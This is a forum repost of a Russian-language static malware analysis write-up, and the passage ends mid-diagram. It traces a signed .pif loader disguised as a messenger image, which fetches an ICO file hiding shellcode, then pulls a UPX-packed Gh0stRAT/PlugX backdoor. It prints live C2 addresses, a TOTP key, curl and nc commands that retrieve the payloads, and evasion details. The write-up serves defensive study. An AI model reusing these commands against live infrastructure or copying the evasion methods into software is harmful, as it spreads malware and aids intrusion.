AI Анатомия зловреда: разбираем логику работы хитрого вредоноса

  • Автор темы Автор темы AI
  • Дата начала Дата начала

AI

Команда форума
Редактор
Регистрация
23 Авг 2023
Сообщения
3,969
Реакции
0
Баллы
36
Ofline
*Статический анализ на Linux без запуска вредоноса: от .pdf файла до полного контроля над системой



Здравствуйте, хабровчане. Это моя первая статья, но можно судить строго и кидаться тапками - критика приветствуется

На днях ко мне попал интересный файл с безобидным на первый взгляд именем - что-то похожее на вложение из мессенджера. Внутри оказалась тщательно спроектированный многоступенчатый зловред, анализом которого я хочу поделиться с вами.

В этой статье я разберу всю цепочку шаг за шагом - с реальными командами, выводами и объяснением того, что происходит на каждом уровне. Для понимания материала знание ассемблера или низкоуровневого программирования не требуется: там, где встречаются машинные инструкции, я объясняю их смысл.

Оговорюсь сразу - в статье рассматриввается именно проведение статического анализа. Часть информации, которая получена в процессе, можно было бы получить проще, просто запустив вредонос в контролируемой среде и анализируя поведения, однако я сознательно этого не делаю в обучающих целях.


Что попало в руки​


Файл: IMAGE_IM_3b0844298f7151492fbf4c8996fb92427674144649b93465495991b7852b855&.pif
Размер: 408 КБ
SHA-256: d7e32c3874b39ac6faa577b4ba517e8fca9895a411274b4226c94b1f6519ebca

Первое, что бросается в глаза - само имя файла. Префикс IMAGE_IM_ имитирует вложения из WhatsApp или Telegram: именно так выглядят автоматически сохранённые фото. Длинная строка из цифр и букв - типичный автогенерируемый хеш от мессенджера. Символ & в имени - нечастый гость, но встречается в именах временных файлов. Расширение .pif - вот где начинается обман.

PIF (Program Information File) - это реликт эпохи Windows 3.x, файл конфигурации для запуска DOS-программ. Windows до сих пор обрабатывает его как исполняемый. А еще .pif похоже на .pdf

Сразу сохраняю имя файла в переменную для удобства:

SAMPLE="IMAGE_IM_3b0844298f7151492fbf4c8996fb92427674144649b93465495991b7852b855&.pif"

Что это за зверь​


Первая команда при анализе любого неизвестного файла - file. Она смотрит на магические байты в начале файла (сигнатуру), а не на расширение:

file "$SAMPLE"

PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections

Это 32-битный исполняемый файл Windows (PE32 - Portable Executable, 32-bit). Подсистема GUI означает, что при запуске не появится консольное окно - программа работает невидимо для пользователя.

Сразу вычисляю хеши для поиска на VirusTotal:

sha256sum "$SAMPLE"

d7e32c3874b39ac6faa577b4ba517e8fca9895a411274b4226c94b1f6519ebca

На момент написания статьи VirusTotal не считает что этот файл опасным

Раз это исполняемый файл Windows, буду анализировать его соответственно


PE-заголовок исполняемого файла​


В заголовке Portable Executable файла указано: когда скомпилирован, для какой архитектуры, какие секции внутри и какие внешние функции нужны. Для чтения этой информации здесь и далее буду использовать Python и библиотеку pefile:

Код:
import os, pefile, datetime
sample = os.environ['SAMPLE']
pe = pefile.PE(sample)
ts = datetime.datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp)
print(f"Compiled:  {ts}")
print(f"Subsystem: {pe.OPTIONAL_HEADER.Subsystem}")
for s in pe.sections:    name = s.Name.rstrip(b'\x00').decode()    print(f"{name:<10} size={s.SizeOfRawData:>7}  entropy={s.get_entropy():.3f}")

Код:
Compiled:  2025-01-23 04:54:22
Subsystem: 2
.text      size=  87552  entropy=6.610
.rdata     size=  21504  entropy=5.073
.data      size=   4096  entropy=2.381
.rsrc      size= 258048  entropy=6.721
.reloc     size=   4608  entropy=6.446

Subsystem = 2 значит что это приложение будет работать без открытия консольного окна.
Энтропия - мера «случайности» данных. Обычный текст имеет низкую энтропию (~3–4), скомпилированный код - среднюю (~6), зашифрованные или сжатые данные - высокую (~7,5–8). Секция .rsrc (ресурсы) размером 253 КБ с энтропией 6,72 - подозрительно много для иконок и манифеста. Запомним.


Метаданные файла​


PE-файлы могут хранить метаданные о себе - название продукта, версию, компанию. Читаем:

Код:
for fileinfo in pe.FileInfo[0]:    
  if fileinfo.Key == b'StringFileInfo':
    for st in fileinfo.StringTable:
      for k, v in st.entries.items():
        print(f"{k.decode():<30} = {v.decode()}")

Код:
CompanyName                    = Beijing Guyundaji Trading Co., Ltd.
FileDescription                = 2FA login verification plugin
InternalName                   = 2FA login.exe
ProductName                    = 2FA verifier
FileVersion                    = 110.0.2541.0

Приложение предсталяется как "плагин двухфакторной аутентификации", также указана компания. Моя попытка нагуглить что-либо по этому имени ничего не дала.


Неожиданная находка​


Поищем что-нибудь интересное в strings:

strings -n 6 $SAMPLE

Среди прочего видим

Код:
http://crl.certum.pl/cscasha2.crl
http://ocsp.certum.pl
http://timestamp.digicert.com

CRL (Certificate Revocation List) и OCSP - это инфраструктура проверки цифровых сертификатов. Такие URL встречаются только внутри блока Authenticode-подписи PE-файла. Значит, файл подписан - и, судя по домену certum.pl, сертификатом от польского удостоверяющего центра Certum.

Извлекаем подпись и смотрим подробности. В PE-формате она хранится в Security Directory (DATA_DIRECTORY с индексом 4):

Код:
# DATA_DIRECTORY[4] - это директория Security (Authenticode подпись)
sec = pe.OPTIONAL_HEADER.DATA_DIRECTORY[4]
with open(sample, "rb") as f:    f.seek(sec.VirtualAddress)    raw = f.read(sec.Size)
# Первые 8 байт - заголовок WIN_CERTIFICATE, дальше - DER-закодированный PKCS#7
cert_data = raw[8:]
with open("signature.der", "wb") as f:    f.write(cert_data)

openssl pkcs7 -in signature.der -inform DER -print_certs -noout

Код:
subject=O = 北京谷云达吉商贸有限公司,        jurisdictionC = CN,        serialNumber = 91110112MAENGGCR13
issuer=CN = Certum Extended Validation Code Signing 2021 CA

Чем отличается EV от обычного сертификата? Обычный сертификат подписи кода получить относительно просто - достаточно email-верификации. EV-сертификат требует физической проверки личности или нотариально заверенных документов компании. Удостоверяющий центр (Certum) проверял реальный китайский бизнес с регистрационным номером 91110112MAENGGCR13.

Для жертвы вредоноса это значит что Windows вешает на этот файл метку «Проверенный издатель», а встроенный антивирус на него не ругается.

То есть автор зловреда либо зарегистрировал фиктивную компанию и ухитрился получить сертификат, либо скомпрометировал реально существующую. Оба варианта говорят об очень серьезной подготовке


Таблица импорта​


Каждый исполняемый файл Windows объявляет список функций из системных библиотек, которые он использует. Антивирусы смотрят на этот список в первую очередь. Смотрим и мы:

Код:
for lib in pe.DIRECTORY_ENTRY_IMPORT:
  print(f"\n{lib.dll.decode()}:")
  for imp in lib.imports:
    print(f"  {imp.name.decode()}")

Код:
KERNEL32.dll:
  LoadLibraryW 
  GetProcAddress
  VirtualProtect 
  IsDebuggerPresent
  CreateFileW
  ...

Только одна библиотека. Подозрительно. Нормальная Windows-программа импортирует десятки функций из десятков библиотек: user32.dll для GUI, ws2_32.dll для сети, advapi32.dll для реестра и т.д. Здесь всего KERNEL32.dll.

LoadLibraryW + GetProcAddress - стандартная пара для динамической загрузки API. Смысл такой: вместо объявления «мне нужна функция WinHttpSendRequest из winhttp.dll» в таблице импорта (где её видит любой антивирус), программа во время работы сама загружает библиотеку и ищет функцию по имени. Имена функций хранятся просто как строки внутри файла.
В выводе strings, сохраненного ранее, видим:

Код:
WinHttpOpen
WinHttpConnect
WinHttpSendRequest
WinHttpReceiveResponse
WinHttpReadData
ZwAllocateVirtualMemory
ZwProtectVirtualMemory
ZwCreateThreadEx
BCryptOpenAlgorithmProvider
BCryptCreateHash
...

И правда. Сетевые функции (WinHttp*) для загрузки с C2-сервера, криптографические (BCrypt*) для вычисления TOTP, и самое интересное - Zw* функции.

Zw-функции - это низкоуровневые системные вызовы из ntdll.dll - самого нижнего уровня Windows API, прямо над ядром. ZwCreateThreadEx - создать поток, ZwAllocateVirtualMemory - выделить память. Обычные программы используют высокоуровневые обёртки (CreateThread, VirtualAlloc). Вредоносы используют Zw-версии, потому что многие антивирусные продукты перехватывают (hooking) только высокоуровневые функции - низкоуровневые часто остаются незащищёнными.


Поиск C2-сервера​


Попытаемся понять, как наш образец действует с точки зрения сети.
Поищем интересное все в том же выводе strings, а также strings с ключом -e l. Второй вариант нужен, поскольку Windows-программы хранят строки типа URL и заголовков в UTF-16LE - два байта на символ. Флаг -e l переключает strings на этот режим:

strings -n 6 "$SAMPLE"

strings -e l "$SAMPLE"

Код:
SHA1
X-ID:
X-TOTP:
/verify
login.guyundaji.com

Код:
...
SHA1
...
KIOVZD2AVAAADDTS
...
%06d
...

Взгляд зацепился за строку KIOVZD2AVAAADDTS - что-то знакомое. Такие строки используются для создания кодов двухфакторной аутентификации. Алфавит BASE32 (буквы A-Z и цифры 2-7)
Рядом SHA1 и формат %06d (шестизначное число).
Что-то связанное с OTP кодами здесь определенно есть.

login.guyundaji.com - явно домен C2-сервера. Заголовок X-TOTP: позволяет предположить, что вычисленный TOTP-код отправляется в HTTP-заголовке.


Взаимодействие с C2​


Проверяем, что сервер живой:

Код:
nslookup login.guyundaji.com
# Address: 188.114.96.1
# Address: 188.114.97.1

Это IP-адреса Cloudflare - сервер скрыт за CDN, реальный хостинг не виден.

Мы уже знаем маршрут: GET /verify с заголовками X-ID: и X-TOTP:. Вычисляем актуальный TOTP-код из найденного ключа и обращаемся так, как это делал бы сам вредонос:

Код:
import hmac, hashlib, struct, time, base64
key = base64.b32decode("KIOVZD2AVAAADDTS")
T   = int(time.time() / 30)
h   = hmac.new(key, struct.pack('>Q', T), hashlib.sha1).digest()
off = h[-1] & 0x0F
otp = (struct.unpack('>I', h[off:off+4])[0] & 0x7FFFFFFF) % 1_000_000
print(f"{otp:06d}")   # например: 471921

Код:
curl -s -o c2_response.bin https://login.guyundaji.com/verify \
  -H "X-ID: test-machine-001" \ 
  -H "X-TOTP: 471921"
wc -c c2_response.bin
xxd c2_response.bin | head -2

Код:
77904 c2_ico_response.bin
00000000: 0000 0100 0900 1010 0000 0100 2000 9801  ............ ...

Сервер вернул 77 904 байта. Первые байты 00 00 01 00 магическая сигнатура Windows ICO-файла (файла иконок). На первый взгляд просто иконка приложения.

В какой-то момент я решил посмотреть что будет, если обратиться к серверу без TOTP заголовка

Код:
curl -s -o c2_ico_response_noauth.bin https://login.guyundaji.com/verify
wc -c c2_ico_response_noauth.bin
diff c2response.bin c2_ico_response_noauth.bin && echo "файлы идентичны"

Код:
77904 c2_ico_response_noauth.bin
файлы идентичны

Проверка показала, что сервер отдает точно такой же файл и без заголовка TOTP. Ожидаемым поведением было бы следующее: сервер отдает payload при правильном заголовке, а при неправильном или его отсутствии - ведет себя как обычный web сервер.
Возможно, данный функционал еще просто не реализовали на серверной стороне.

Переименуем payload чтобы не путаться

mv c2_response.bin c2_ico_response.bin

Вычисляем хеш и снова идем на VirusTotal:

sha256sum c2_ico_response.bin

113dbd6d002b1512862556cf884ae97f02a8ebc860d9f63f7fe71b65e2c019db

И снова по нулям - VirusTotal не считает файл опасным. Штош....

Разбор ICO-контейнера - где спрятан шеллкод​


ICO-файл - это контейнер с несколькими изображениями разных размеров (16×16, 32×32, 48×48 и т.д.). Каждое изображение хранится в отдельном «слоте». Разбираем структуру:

Код:
import struct

with open("c2_ico_response.bin", "rb") as f:
    data = f.read()

# ICO-заголовок: 6 байт
# reserved(2) + type=1(2) + count(2)
reserved, ico_type, count = struct.unpack_from('<HHH', data, 0)
print(f"ICO: {count} слотов")

# Каждый слот описывается 16-байтной записью
for i in range(count):
    entry_off = 6 + i * 16
    w, h, colors, _, planes, bpp, size, offset = struct.unpack_from('<BBBBHHIi', data, entry_off)
    slot_data = data[offset:offset+16]
    ascii_repr = ''.join(chr(b) if 0x20 <= b < 0x7f else '.' for b in slot_data[:12])
    print(f"Слот {i} ({w}x{h})  size={size:>6}  first_12_bytes={ascii_repr!r}")

Код:
ICO: 9 слотов
Слот 0 (16x16)   size=   508  first_12_bytes='.PNG....IHDR'
Слот 1 (24x24)   size=   984  first_12_bytes='.PNG....IHDR'
Слот 2 (32x32)   size=  1728  first_12_bytes='.PNG....IHDR'
Слот 3 (48x48)   size=  4636  first_12_bytes='.PNG....IHDR'
Слот 4 (64x64)   size=  9771  first_12_bytes='.PNG....IHDR'
Слот 5 (72x72)   size=  9547  first_12_bytes='ICO_OUTh....'  <-- !!
Слот 6 (80x80)   size= 11484  first_12_bytes='............'
Слот 7 (96x96)   size= 15557  first_12_bytes='............'
Слот 8 (128x128) size= 23539  first_12_bytes='............'

Слоты 0-4 начинаются с \x89PNG - реальные PNG-иконки
Слот 5 начинается с текста ICO_OUT - похоже что отсюда начинается сам payload.


Извлечение и расшифровка шеллкода​


Находим в загрузчике код, который ищет слот ICO_OUT. Для этого:


  1. Находим файловое смещение строки ICO_OUT


  2. Переводим в виртуальный адрес (VA) через карту секций


  3. Ищем в дизассемблере инструкцию, которая ссылается на этот адрес


  4. Читаем окружающий код

Код:
# Шаги 1 и 2: смещение → VA
raw = open(sample, 'rb').read()
fo = raw.find(b'ICO_OUT')
print(f'File offset: 0x{fo:x}')
for s in pe.sections:
    if s.PointerToRawData <= fo < s.PointerToRawData + s.SizeOfRawData:
        va = pe.OPTIONAL_HEADER.ImageBase + s.VirtualAddress + (fo - s.PointerToRawData)
        print(f'VA: 0x{va:08x}')

Код:
File offset: 0x1bc28
VA: 0x0041d028

Код:
# Шаг 3: найти инструкцию, ссылающуюся на 0x41d028
objdump -d -M intel "$SAMPLE" | grep "41d028"

4018d3: ba 28 d0 41 00 mov edx,0x41d028

Код:
# Шаг 4: дизассемблировать вокруг (упрощённый вывод)
objdump -d -M intel --start-address=0x401970 --stop-address=0x401990 "$SAMPLE"

Код:
401970:  8a 0c 07         mov  cl, byte [eax+edi]     ; загрузить байт из слота ICO_OUT
401973:  fe c9            dec  cl                     ; вычесть 1  <-- ключ расшифровки
401975:  88 0c 02         mov  byte [edx+eax], cl     ; сохранить расшифрованный байт
401978:  40               inc  eax
401979:  3b c3            cmp  eax, ebx
40197b:  72 f4            jb   401970                 ; повторить

Расшифровка - «вычесть 1». Каждый байт полезной нагрузки уменьшается на 1. Ключ шифрования = 1. Это намеренно примитивно: усложнение не нужно, если полезная нагрузка в любом случае не хранится в файле.

Извлекаем и расшифровываем:

Код:
import struct
with open("icon_5_72x72.bin", "rb") as f:    slot = f.read()
# Структура слота ICO_OUT:
# [0:7]   = "ICO_OUT"  (маркер)
# [7:11]  = uint32 little-endian  (размер полезной нагрузки)
# [11:]   = зашифрованные данные
payload_size = struct.unpack_from('<I', slot, 7)[0]
print(f"Размер: {payload_size} байт")     # 1902
encrypted = slot[11:11+payload_size]
decrypted = bytes((b - 1) & 0xFF for b in encrypted)
print(f"Первые байты: {decrypted[:6].hex()}")  # 55 8b ec 83 e4 f8
with open("stage2_shellcode.bin", "wb") as f:    f.write(decrypted)

Код:
Размер: 1902 байт
Первые байты: 558bec83e4f8

55 8b ec в x86-ассемблере означает push ebp; mov ebp, esp - это стандартный пролог функции, первые три байта практически любой компилированной C-функции.
Раз мы получили реальный код, мы на верном пути


Анализ шеллкода второго этапа​


Итак, у нас есть 1902 байта сырого машинного кода. Дизассемблер превращает байты обратно в условно читаемые инструкции - для этого использую ndisasm, он умеет работать с сырым бинарником без PE-обёртки:

ndisasm -b 32 stage2_shellcode.bin | tee disasmed_stage2

Вывод длинный, поэтому сначала делаю быстрый strings - посмотреть, нет ли чего-то читаемого прямо так, без дизассемблирования:

strings stage2_shellcode.bin

Код:
godinfoWPMZZMVWMQPWcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc
bccbccc
PQ? 6
cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc

Строка godinfo - явно не случайная. Гуглю, нахожу публичный репозиторий с таким же названием, но он мало помогает разобраться в поведении конкретного образца. Продолжаю анализ того, что имею на руках.

После godinfo идёт WPMZZMVWMQPW - тоже читаемые символы, но смысла не несут. А дальше - сотни одинаковых символов c. Это очень характерный паттерн.

c в ASCII - это 0x63. Длинная цепочка одинаковых байт означает, что в исходных данных на этих позициях стоят нули: 0x00 XOR ключ = ключ. Если ключ - 0x63, то нулевые байты после XOR превращаются в 'c'. Это заполненные нулями поля структуры - буфер фиксированного размера, большая часть которого пустая.

Значит, данные зашифрованы XOR с ключом 0x63. Иду в дизассемблирование проверять:

cat disasmed_stage2| grep -i -A 50 xor

Находим следющее (вывод сокращен)

Код:
0000009C  80343063    xor byte [eax+esi], 0x63   ; XOR каждого байта с 0x63
000000A0  40          inc eax
000000A1  3D8C030000  cmp eax, 0x38C             ; 908 итераций
000000A6  72F4        jc  0x9C                   ; повторить

Точно - XOR с 0x63. Расшифровываю блок и смотрю что внутри - просто выводим печатаемые строки:

Код:
import struct

with open("stage2_shellcode.bin", "rb") as f:
    sc = f.read()

idx = sc.find(b"godinfo")
config_raw = sc[idx : idx+908]
config = bytes(b ^ 0x63 for b in config_raw)

for chunk in config.split(b'\x00'):
    printable = ''.join(chr(b) for b in chunk if 0x20 <= b < 0x7f)
    if len(printable) >= 4:
        print(repr(printable))

Код:
'\x04\x0c\x07\n\r\x05\x0c'
'43.99.54.234'
'c:\\Windows\\System32\\CUrL.exe'

Это именно то что мы искали - куда ходит зловред по сети и чем он для этого пользуется.
Первая строка - мусор, это сам godinfo после XOR (он хранится в открытом виде, XOR его портит). Остальное читаемо: IP-адрес и путь к curl в Windows.

CUrL.exe написан в смешанном регистре - для обход сигнатур, ищущих строку curl.exe в нижнем регистре.

Порт в виде строки не выводится - он хранится как двухбайтовое число. Смотрю на сырые байты в районе после IP:

print(config[0x130:0x140].hex())

0000bb01000000000000000000000000

bb 01 в little-endian - 0x01BB = 443. Порт найден.

Второй C2-сервер - голый IP, не домен. Он захардкожен в самом бинарнике. Порт 443 выбран намеренно: на большинстве файерволов он открыт для HTTPS, raw TCP туда пройдёт незамеченным.

Пока разбирал шеллкод, решил загуглить этот IP - и нашёл на Hybrid Analysis другой образец, который коннектится к тому же адресу. Там есть любопытная формулировка в поведенческом анализе: «отправляет трафик на типичный порт HTTPS без заголовка HTTP». Это независимое подтверждение того, что на 443 висит именно raw TCP, а не настоящий TLS.

Итак, есть IP и порт. Пробую подключиться напрямую:

Код:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
s.connect(("43.99.54.234", 443))
print(s.recv(16))

Таймаут. Сервер принял соединение, но ничего не отправляет. Возможно, клиент должен отправить какие-то данные? Какие?

Поиск ключа к серверу​


После очень долгого и безуспешного копания в дизассемблированном шеллкоде, я догадался взглянуть непосредственно на hex dump, ведь сам файл не такой уж большой (около 2Kb)

xxd stage2_shellcode.bin

Помимо уже виденной нами ранее строки godinfo во второй половине файла, среди мусора из первой части мы видим вот такой кусок, в самом начале:

Код:
00000000: 558b ec83 e4f8 81ec ec01 0000 5356 578d  U...........SVW.
00000010: 4c24 18c7 4424 0c47 4554 4766 c744 2410  L$..D$.GETGf.D$.
00000020: 4f44 c644 2412 00e8 9f02 0000 85c0 0f84  OD.D$...........

Взгляд зацепился за "GET" и я снова пошел в дизассемблер. Вот эти две инструкции в начале - то что нас интересует

Код:
00000013  C744240C47455447  mov dword [esp+0xc],0x47544547
0000001B  66C74424104F44    mov word [esp+0x10],0x444f
00000022  C644241200        mov byte [esp+0x12],0x0

Расшифруем из HEX эти две строки:

Код:
echo "0x47544547" | xxd -r -p
echo "0x444f" | xxd -r -p

Третья строка - 0x0 - нулевой байт, часто используется как символ конца строки.
Получаем GTEG% и DO% . В архитектуре x86-64 используется способ записи чисел little-endian, где всё байты записываются задом наперёд. Так что первая строка - это GETG, а вторая - OD. Вместе - GETGOD. И хорошо сочетается с godinfo, который мы видели ранее. Это и есть наш ключ?

Отправился гуглить и вышел на вот этот интересный материал, где описывается механизм получения payload, аналогичный нашему. Далее цитата оттуда:

The shellcode connects to the C2 server and transmits the string “GETGOD.” The C2 server responds with data representing the next (second) stage of the shellcode.


Также в статье говорится о финальной нагрузке, под названием GhostRAT - достаточно серьезный продукт, который много где засветился.

Отправляюсь пробовать получить "подарок"


Загрузка финальной нагрузки​


Подключаемся через nc, а не curl, поскольку мы уже знаем что на самом деле это не http, а raw TCP.
Первая попытка сделать так

echo 'GETGOD' | nc -w 3 43.99.54.234 443 > stage3_payload.bin

не увенчалась успехом - сервер ничего не отправлял.

Было потрачено несколько часов прежде чем перечитал предыдущий раздел своей же статьи и обнаружил что в конце строки должен быть нулевой байт.
И это сработало:

echo 'GETGOD\x00' | nc -w 3 43.99.54.234 443 > stage3_payload.bin

Сервер передал 318 356 байт. Снова 55 8b ec в начале - значит, это не PE-файл (который начинался бы с MZ), а ещё один шеллкод-контейнер.


Анализ структуры stage3 payload​


Не оставляем надежды на VirusTotal:

sha256sum stage3_payload.bin

2ce188196c078cc35ec6e8947821be57f5c061d4c06cf4bd4d329eac590576c8

Снова по нулям.

Значит изучаем то что мы получили самостоятельно

Файл начинается с байт 55 8b ec - это не MZ. Первым делом ищу сигнатуру PE-файла внутри:

Код:
for i in range(0, min(len(data), 65536), 2):
    if data[i:i+2] == b'MZ':
        print(f"MZ найден по смещению 0x{i:x}")

MZ найден по смещению 0x2804

Значит, всё что до 0x2804 - не PE. Это какой-то код, предшествующий основному приложению. Чтобы понять что внутри PE, смотрю энтропию блоками - не по всему файлу, а именно начиная с найденного смещения:

Код:
from math import log2

def entropy(block):
    freq = {}
    for b in block: freq[b] = freq.get(b, 0) + 1
    return -sum((c/len(block)) * log2(c/len(block)) for c in freq.values())

for i in range(0x2804, 0x2804 + 0xa000, 0x1000):
    e = entropy(data[i:i+0x1000])
    bar = '#' * int(e * 4)
    print(f"0x{i:05x}: {e:.2f}  {bar}")

Код:
0x02804: 3.22  ############
0x03804: 7.86  ###############################
0x04804: 7.86  ###############################
0x05804: 7.86  ###############################
0x06804: 7.86  ###############################
0x07804: 7.86  ###############################
0x08804: 7.86  ###############################
0x09804: 7.86  ###############################
0x0a804: 0.00

Первый блок PE-файла - энтропия 3.22, очень низкая. Это заголовок: он состоит из фиксированных полей, нулевых выравниваний и магических констант - данные предсказуемые. Следующие 7 блоков - энтропия ~7.86, практически максимум. Такое бывает у зашифрованных данных или у сжатых. Последний блок - нули.

Складывается следующая картина:

[B]0x0000–0x2803[/B] - шеллкод. Энтропия ~6: это машинный код, он разнообразен, но не настолько случаен, как сжатые данные.

[B]0x2804–0xa003[/B] - PE-файл. Заголовок с низкой энтропией, тело с максимальной - признак упаковки.

[B]0xa004–конец[/B] - нули. Это виртуальная память, которая потребуется после распаковки PE. Упакованный файл несёт её с собой, чтобы при загрузке в память сразу иметь нужное пространство.
Пока предположение такое:


Смещение​

Содержимое​

0x0000–0x2803

Шеллкод-загрузчик​

0x2804–0xa003

PE-файл, упакованный UPX​

0xa004–конец

Нули (память под распакованный PE)​

Зачем шеллкод перед PE? Самое вероятное - это рефлективный загрузчик - код, который самостоятельно разворачивает встроенный PE-файл в памяти, не вызывая стандартный LoadLibrary. Обычный LoadLibrary регистрирует DLL в списке модулей процесса - любой антивирус это заметит. Рефлективный загрузчик разбирает PE-заголовки вручную, применяет перемещения, разрешает импорты - бэкдор оказывается в памяти невидимым для стандартных средств мониторинга.

Теперь, когда мы понимаем структуру полученного файла, можем попытаться вытащить из него само PE приложение


Распаковка payload:​


Извлекаем PE-файл:

Код:
import pefile, datetime
with open("stage3_payload.bin", "rb") as f:    data = f.read()
# Вырезаем PE начиная с найденного смещения и сохраняем отдельно
pe_data = data[0x2804:]
with open("stage3_extracted_pe.bin", "wb") as f:    f.write(pe_data)
pe = pefile.PE(data=pe_data)
ts = datetime.datetime.utcfromtimestamp(pe.FILE_HEADER.TimeDateStamp)
print(f"Скомпилирован: {ts}")
for s in pe.sections:    print(s.Name.rstrip(b'\x00').decode())

Код:
Скомпилирован: 2022-12-01 02:05:39 UTC
UPX0
UPX1
UPX2

Имена секций UPX0 / UPX1 / UPX2 говорят об упаковке UPX (Ultimate Packer for eXecutables) - именно он давал энтропию ~7.86 в предыдущем шаге. UPX - легитимный компрессор исполняемых файлов, существует с 1990-х. Упакованный файл при запуске сам себя распаковывает в память и передаёт управление распакованному коду. В мире легального ПО UPX почти не используется - современные программы не страдают от размера. Зато в малвари популярен: распакованный бэкдор никогда не появляется на диске, только в памяти, а дисковые сигнатуры антивируса не срабатывают.
Также видим, что в отличие от предыдущих файлов, с которыми мы имели дело, этот скомпилирован в 2022 года, достаточно давно

Распаковываем:

upx -d stage3_extracted_pe.bin -o stage3_unpacked.exe

Из 30 КБ получили 48 КБ - распакованный зловред.
Снова считаем hash и идем на VirusTotal, не теряем надежды

5896eefa211a0ac0a69ddd7e4be3c2bcda71202d469be735a47eac824e7bf112

На этот раз файл ему знаком

Скриншот с VirusTotal

Скриншот с VirusTotal

Но для полноты картины давайте опознаем его самостоятельно


Идентификация крысы​


Запускаем strings без фильтров и смотрим что выплывает:

strings stage3_unpacked.exe | less

Замечаем там:

cmd.exe -Puppet

cmd.exe -Puppet - нестандартный аргумент командной строки, явно не системный. Поиск по этой строке немедленно даёт результат: это характерная строка Gh0stRAT - одного из старейших китайских бэкдоров, исходники которого утекли в открытый доступ ещё в 2008 году и с тех пор активно переиспользуются.

Внимательный читатель заметил, что это название уже упоминалось выше, когда мы вычисляли фразу GETGOD.
Собственно, наш зловред - тот же самый, что описывается в статье, за исключением первого этапа.

В strings также находим следующее:

Код:
-Puppet
cmd.exe -Puppet
PluginMe
\config.ini
ONLINE.dll
TSAPI32.dll

Всё остальное элементарно достается из гугла

Маркеры Gh0stRAT​


[B]cmd.exe -Puppet[/B] - «puppet shell» это главная функция Gh0stRAT. Бэкдор запускает cmd.exe со специальным аргументом, перехватывает его стандартный ввод и вывод, и транслирует их на C2-сервер в реальном времени. Злоумышленник буквально получает интерактивную командную строку на машине жертвы.

Маркеры PlugX​


[B]PluginMe[/B] - это имя экспортируемой функции, которую обязана иметь каждая DLL-плагин PlugX. PlugX - модульный фреймворк: основной бэкдор загружает дополнительные компоненты (плагины) по команде от оператора.

[B]\config.ini[/B] + импорт GetPrivateProfileStringA - PlugX хранит адреса C2-серверов, ключи шифрования и настройки в INI-файле на диске.

[B]ONLINE.dll[/B] / [B]TSAPI32.dll[/B] - имена DLL-плагинов. PlugX использует технику DLL side-loading: называет свои библиотеки похоже на легитимные системные (tsapi32.dll напоминает rasapi32.dll), чтобы Windows загрузила их вместо настоящих.

Продолжая листать strings, замечаю длинный список .exe-файлов. Фильтрую:

strings stage3_unpacked.exe | grep -i "\.exe$" | sort -u

Код:
360sd.exe
360tray.exe
BaiduSdSvc.exe
HipsTray.exe
K7TSecurity.exe
KvMonXP.exe
Mcshield.exe
Miner.exe
QQPCRTP.exe
RavMonD.exe
TMBMSRV.exe
V3Svc.exe
ashDisp.exe
avcenter.exe
avp.exe
egui.exe
ksafe.exe
kxetray.exe
mssecess.exe
patray.exe
rtvscan.exe

Это список антивирусных процессов для завершения - стандартная практика для RAT. Все - достаточно знакомые. И отдельно - [B]Miner.exe[/B]: злоумышленник убивает не только антивирусы, но и криптомайнеры - освобождает ресурсы или устраняет конкурирующее заражение.

Таблица импортов​


Смотрим таблицу импортов - тем же способом, что и для Stage 1:

Код:
pe2 = pefile.PE("stage3_unpacked.exe")
for lib in pe2.DIRECTORY_ENTRY_IMPORT:
    print(f"\n{lib.dll.decode()}:")
    for imp in lib.imports:
        if imp.name:
            print(f"  {imp.name.decode()}")

Код:
KERNEL32.dll:  CreateRemoteThread  WriteProcessMemory  VirtualAllocEx  CreateToolhelp32Snapshot  Process32First  ...
WININET.dll:  InternetOpenUrlA  InternetReadFile  ...
USER32.dll:  OpenInputDesktop  SetThreadDesktop  ...
ADVAPI32.dll:  RegOpenKeyExA  RegQueryValueExA  ...

Импортированная функция​

Что означает​

CreateRemoteThread + WriteProcessMemory + VirtualAllocEx

Внедрение кода в чужой процесс​

InternetOpenUrlA + InternetReadFile

Загрузка плагинов по HTTP​

OpenInputDesktop + SetThreadDesktop

Доступ к рабочему столу (аналог VNC)​

CreateToolhelp32Snapshot + Process32First

Перечисление всех процессов​

RegOpenKeyExA + RegQueryValueExA

Работа с реестром (закрепление)​

GetPrivateProfileStringA

Чтение config.ini с настройками C2​

На этом можно закончить статический анализ, картина сложилась. Осталось кратко описать всю схему в одном месте для ленивых читателей


Полная картина атаки​


Код:
Жертва запускает IMAGE_IM_...&.pif
│
│  Stage 1: Загрузчик (EV-подписанный)
│  ├─ IsDebuggerPresent (антиотладка)
│  ├─ Загружает winhttp.dll, bcrypt.dll динамически
│  ├─ Вычисляет TOTP (SHA1, ключ KIOVZD2AVAAADDTS)
│  └─ GET https://login.guyundaji.com/verify
│     Headers: X-ID: <machine_id>, X-TOTP: <6 digits>
│
▼  Ответ: ICO-файл (77 904 байта, скрыт за Cloudflare)
│  Слот 5 (ICO_OUT) → шеллкод Stage 2 (byte−1 расшифровка)
│
│  Stage 2: Шеллкод (1 902 байта, x86 PIC)
│  ├─ Обход PEB → находит kernel32.dll, ws2_32.dll
│  ├─ XOR 0x63 → IP=43.99.54.234, port=443
│  ├─ VirtualAlloc(317 332 байта, RWX)
│  ├─ connect(43.99.54.234:443)
│  └─ send("GETGOD\0") → recv(318 356 байт)
│
▼  Stage 3: Рефлективный загрузчик + UPX-бэкдор
│  ├─ Распаковывает UPX PE в память (без LoadLibrary)
